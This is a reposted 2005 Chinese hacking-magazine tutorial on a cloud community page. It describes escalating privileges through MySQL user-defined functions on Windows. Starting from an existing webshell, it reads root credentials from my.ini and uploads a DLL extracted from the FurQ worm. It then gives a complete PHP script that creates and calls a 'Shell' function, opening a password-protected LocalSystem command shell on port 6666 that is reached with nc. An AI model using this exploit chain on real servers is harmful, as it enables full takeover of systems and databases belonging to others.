提權,以MySQL之名_安全教程

來源:互聯網
上載者:User
作者kEvin 
注:稿件已刊登於《駭客防線》2005年第7期上,轉載請著明著作權與出處。 

前不久網上公開了一個MySQL Func的漏洞,講的是使用MySQL建立一個自訂的函數,然後通過這個函數來攻擊伺服器。最早看到相關的報道是在o-otik上,但是公布的是針對Unix系統的Exploit,並且成功率也不是很高.而近期,國內有高手放出針對Win系統的相關文章,於是我馬上找來與朋友一同研究. 
其實我們早就能想到.當我們在對MSSQL\Oracle資料庫進行攻擊的時候,得到了最資料庫中高許可權的帳戶,往往都是執行特殊的擴充過程或者函數來進行攻擊的。比如MSSQL有Xp_cmdshell,Oracle可以通過Msvcrt.dll來建立一個特殊的函數.而我們卻始終沒有想到,作為流行的資料庫軟體之一的MySQL,也是可以進行函數的建立的.由此看來,MySQL的這個漏洞不應稱為漏洞而僅僅是一個技術而已. 
廢話一堆過後,我們來瞭解一下怎麼在MySQL裡建立一個函數吧.這比如何利用重要許多,只要瞭解了原理,運用就能更加靈活,而且可以與其他思想融會貫通. 
MySQL中建立一個函數的語句為: 
Create Function FunctionName Returns [String|Integer|Real] Soname 'C:\function.dll'; 
其中FunctionName指的是函數的名稱,C:\Function.DLL指的是函數所調用的DLL,而函數名正是DLL中的函數名稱.不過這裡需要我們注意的是,如果我們需要MySQL可以在函數之中附帶一個參數的話,那麼就要符合UDF形式的程式編寫規則,具體的可以查看MySQL手冊的第14節:《為MySQL增加新函數》.而其中STRING,INTEGET,REAL是函數執行後所返回的值的形式.當然,我們大可不必遵循UDF形式的編寫,其實如果我們的函數中使用一個我們要執行的代碼,而不使用參數,一樣可以達到攻擊的效果,比如說System("command.com")等等.網上現在以此漏洞進行攻擊的FurQ蠕蟲就是一個不使用UDF格式的例子.但是注意,這個建立函數的語句必須要求我們所用的MySQL帳戶有對mysql這個資料庫的寫入權限,否則無法正常使用. 
好了.瞭解了原理之後,我們來實戰一下如何使用MySQL提升許可權. 
在這裡我們已經通過各式各樣的漏洞取得了一個伺服器的WebShell,我這裡示範的是angel的phpspy,因為PHP預設有串連MySQL的函數,而ASP這些需要使用附加的組件來進行串連,本身不具備條件的. 
一般來說,在Win系統下面,很多軟體都會在系統目錄下建立一個叫my.ini的檔案,其中包含了很敏感的MySQL資訊.而如果我們攻克的主機沒有非常好的使用權限設定的話,我們本身就具有對%windir%目錄的瀏覽許可權,所以可以非常容易的讀取其中的資訊.而且非常多的管理員通常是將root帳戶與密碼寫進這個My.ini,所以一旦我們讀到root使用者的密碼,就可以操縱整個MySQL資料庫或者是伺服器了.如圖1. 
得到MySQL的Root密碼之後,我們需要上傳我們的DLL檔案,我這裡使用的是從FurQ蠕蟲中提取的FurQ.dll.執行這個FurQ.DLL中的Shell函數,系統將會在6666連接埠開啟一個帶密碼的CMDShell,當然,密碼我們已經知道,就是"FurQ"幾個字元而已.不過我們現在還沒有執行的條件.需要通過MySQL將這個函數建立到MySQL中去. 
現在,我們用PHPSPY建立一個PHP檔案. 
輸入以下的內容 
<?php 
$link=mysql_connect('127.0.0.1','root','root'); 
if (!$link) { 
die('Could NOt Connect The Database!: ' . mysql_error()); 
}; 
echo "Good Boy.Connected!<br>"; 
//這裡的root\root就是從my.ini中讀取的使用者和密碼. 
@mysql_select_db('mysql') or die ('use database mysql failed!'); 
echo "Yes You Did!<br>"; 
//這裡選擇使用MySQL資料庫表.當然你也可以選擇別的,如test. 
$query="Create Function Shell RETURNS INTEGER SONAME 'd:\\wwwroot\\FurQ.dll';"; 
@$result = mysql_query($query, $link) or die ("Create Function Failed!"); 
echo "Goddess...Successed!<br>"; 
//這兩句話是關鍵,執行MySQL的建立函數語句.將d:\wwwroot\furq.dll中的Shell函數建立進MySQL中.使得MySQL可以執行這個Shell函數. 
$query="Select Shell();"; 
@$result = mysql_query($query, $link) or die ("Execute failed"); 
echo "Congratulations! Connect The Port 6666 Of This Server VS password:FurQ<br>"; 
//這一步是執行這個Shell函數,開啟伺服器的6666連接埠. 
?> 
再次執行,全部正常返回.如圖2.那麼現在,我們就可以使用nc串連伺服器的6666連接埠,輸入這個密碼:FurQ.然後就返回CMDSHELL了..當然,由於繼承的是MySQL的許可權,而Win系統下MySQL預設以服務安裝,也就是說,我們得到的Shell為LocalSystem許可權,可以為所欲為了,不過不要做壞事哦.呵呵. 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.